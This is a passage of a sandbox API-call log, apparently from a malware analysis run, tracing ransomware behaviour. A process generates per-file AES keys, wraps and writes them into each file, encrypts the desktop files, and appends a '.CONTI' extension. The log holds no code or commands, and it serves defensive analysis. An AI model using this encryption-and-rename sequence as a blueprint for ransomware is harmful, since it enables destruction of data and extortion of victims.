	[0137.739] WriteFile (in: hFile=0x438, lpBuffer=0x6b52030*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b52030*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0137.739] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.739] CloseHandle (hObject=0x438) returned 1
	[0137.739] GetProcessHeap () returned 0x1720000
	[0137.739] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.739] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc"
	[0137.739] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc.CONTI"
	[0137.740] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ytl6dzz34tibpewiqgs.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\ytl6DZz34TibPEWiQgs.doc.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ytl6dzz34tibpewiqgs.doc.conti")) returned 1
	[0137.740] GetProcessHeap () returned 0x1720000
	[0137.740] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.740] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.740] GetProcessHeap () returned 0x1720000
	[0137.740] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7acc0 | out: hHeap=0x1720000) returned 1
	[0137.740] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0137.740] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b52ba0 | out: phKey=0x6b52ba0*=0x6b7f0f8) returned 1
	[0137.740] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52ba4, pdwDataLen=0x393fdd4 | out: pbData=0x6b52ba4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0137.741] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\zu8ks5xknc.swf")) returned 0x20
	[0137.741] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\zu8ks5xknc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0137.741] GetLastError () returned 0x0
	[0137.741] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=56458) returned 1
	[0137.741] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdc8a
	[0137.741] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.741] SetEndOfFile (hFile=0x438) returned 1
	[0137.742] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.742] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.742] WriteFile (in: hFile=0x438, lpBuffer=0x6b52ba4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b52ba4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.744] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.744] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xdc8a, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xdc8a, lpOverlapped=0x0) returned 1
	[0137.745] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xdc8a, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xdc90) returned 1
	[0137.745] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.745] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0xdc90, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0xdc90, lpOverlapped=0x0) returned 1
	[0137.745] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.745] WriteFile (in: hFile=0x438, lpBuffer=0x6b52b98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b52b98*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0137.745] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.745] CloseHandle (hObject=0x438) returned 1
	[0137.745] GetProcessHeap () returned 0x1720000
	[0137.745] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.745] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf"
	[0137.745] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf.CONTI"
	[0137.745] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\zu8ks5xknc.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Zu8KS5xknC.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\zu8ks5xknc.swf.conti")) returned 1
	[0137.746] GetProcessHeap () returned 0x1720000
	[0137.746] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.746] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0137.746] GetProcessHeap () returned 0x1720000
	[0137.746] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deca0 | out: hHeap=0x1720000) returned 1
	[0137.746] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0137.746] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b53708 | out: phKey=0x6b53708*=0x6b7f6b8) returned 1
	[0137.746] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5370c, pdwDataLen=0x393fdd4 | out: pbData=0x6b5370c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0137.747] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\obyonalw2ispi1k 1ce.mp3")) returned 0x20
	[0137.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\obyonalw2ispi1k 1ce.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0137.747] GetLastError () returned 0x0
	[0137.747] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=54512) returned 1
	[0137.747] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd4f0
	[0137.747] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.748] SetEndOfFile (hFile=0x438) returned 1
	[0137.748] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.748] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.748] WriteFile (in: hFile=0x438, lpBuffer=0x6b5370c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b5370c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.749] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.749] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xd4f0, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xd4f0, lpOverlapped=0x0) returned 1
	[0137.750] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xd4f0, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xd500) returned 1
	[0137.750] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.750] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0xd500, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0xd500, lpOverlapped=0x0) returned 1
	[0137.750] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.750] WriteFile (in: hFile=0x438, lpBuffer=0x6b53700*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b53700*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0137.750] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.750] CloseHandle (hObject=0x438) returned 1
	[0137.750] GetProcessHeap () returned 0x1720000
	[0137.750] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.750] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3"
	[0137.750] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3.CONTI"
	[0137.750] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\obyonalw2ispi1k 1ce.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\oBYONalW2iSPI1K 1ce.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\obyonalw2ispi1k 1ce.mp3.conti")) returned 1
	[0137.751] GetProcessHeap () returned 0x1720000
	[0137.751] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.751] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.751] GetProcessHeap () returned 0x1720000
	[0137.751] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb9b8 | out: hHeap=0x1720000) returned 1
	[0137.751] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0137.751] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b52de8 | out: phKey=0x6b52de8*=0x6b7f438) returned 1
	[0137.751] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52dec, pdwDataLen=0x393fdd4 | out: pbData=0x6b52dec*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0137.752] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\qknqlfv8dc7 nskminak.mp3")) returned 0x20
	[0137.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\qknqlfv8dc7 nskminak.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0137.752] GetLastError () returned 0x0
	[0137.752] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=84562) returned 1
	[0137.752] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14a52
	[0137.752] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.752] SetEndOfFile (hFile=0x438) returned 1
	[0137.753] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.753] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.753] WriteFile (in: hFile=0x438, lpBuffer=0x6b52dec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b52dec*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.754] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.754] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x14a52, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x14a52, lpOverlapped=0x0) returned 1
	[0137.755] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x14a52, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x14a60) returned 1
	[0137.755] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.755] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x14a60, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x14a60, lpOverlapped=0x0) returned 1
	[0137.755] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.755] WriteFile (in: hFile=0x438, lpBuffer=0x6b52de0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b52de0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0137.755] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.755] CloseHandle (hObject=0x438) returned 1
	[0137.755] GetProcessHeap () returned 0x1720000
	[0137.755] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.755] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3"
	[0137.755] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3.CONTI"
	[0137.755] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\qknqlfv8dc7 nskminak.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\QKnqLfv8dC7 nSkminAk.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\qknqlfv8dc7 nskminak.mp3.conti")) returned 1
	[0137.756] GetProcessHeap () returned 0x1720000
	[0137.756] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.756] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.756] GetProcessHeap () returned 0x1720000
	[0137.756] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ded10 | out: hHeap=0x1720000) returned 1
	[0137.756] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0137.756] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b53950 | out: phKey=0x6b53950*=0x6b7f438) returned 1
	[0137.756] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53954, pdwDataLen=0x393fdd4 | out: pbData=0x6b53954*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0137.757] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\s-r_quqmup.bmp")) returned 0x20
	[0137.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\s-r_quqmup.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0137.757] GetLastError () returned 0x0
	[0137.757] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=3120) returned 1
	[0137.757] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc30
	[0137.757] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.757] SetEndOfFile (hFile=0x438) returned 1
	[0137.758] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.758] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.758] WriteFile (in: hFile=0x438, lpBuffer=0x6b53954*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b53954*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.759] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.759] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xc30, lpOverlapped=0x0) returned 1
	[0137.759] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xc30, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xc40) returned 1
	[0137.759] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.759] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0xc40, lpOverlapped=0x0) returned 1
	[0137.759] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.759] WriteFile (in: hFile=0x438, lpBuffer=0x6b53948*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b53948*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0137.760] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.760] CloseHandle (hObject=0x438) returned 1
	[0137.760] GetProcessHeap () returned 0x1720000
	[0137.760] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.760] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp"
	[0137.760] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp.CONTI"
	[0137.760] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\s-r_quqmup.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\s-r_qUqMUp.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\s-r_quqmup.bmp.conti")) returned 1
	[0137.760] GetProcessHeap () returned 0x1720000
	[0137.760] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.760] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.760] GetProcessHeap () returned 0x1720000
	[0137.760] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17beec0 | out: hHeap=0x1720000) returned 1
	[0137.760] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0137.760] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b51df0 | out: phKey=0x6b51df0*=0x6b7f0f8) returned 1
	[0137.760] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51df4, pdwDataLen=0x393fdd4 | out: pbData=0x6b51df4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0137.761] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png" (normalized: "c:\\users\\fd1hvy\\desktop\\sl_a5e3.png")) returned 0x20
	[0137.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png" (normalized: "c:\\users\\fd1hvy\\desktop\\sl_a5e3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0137.761] GetLastError () returned 0x0
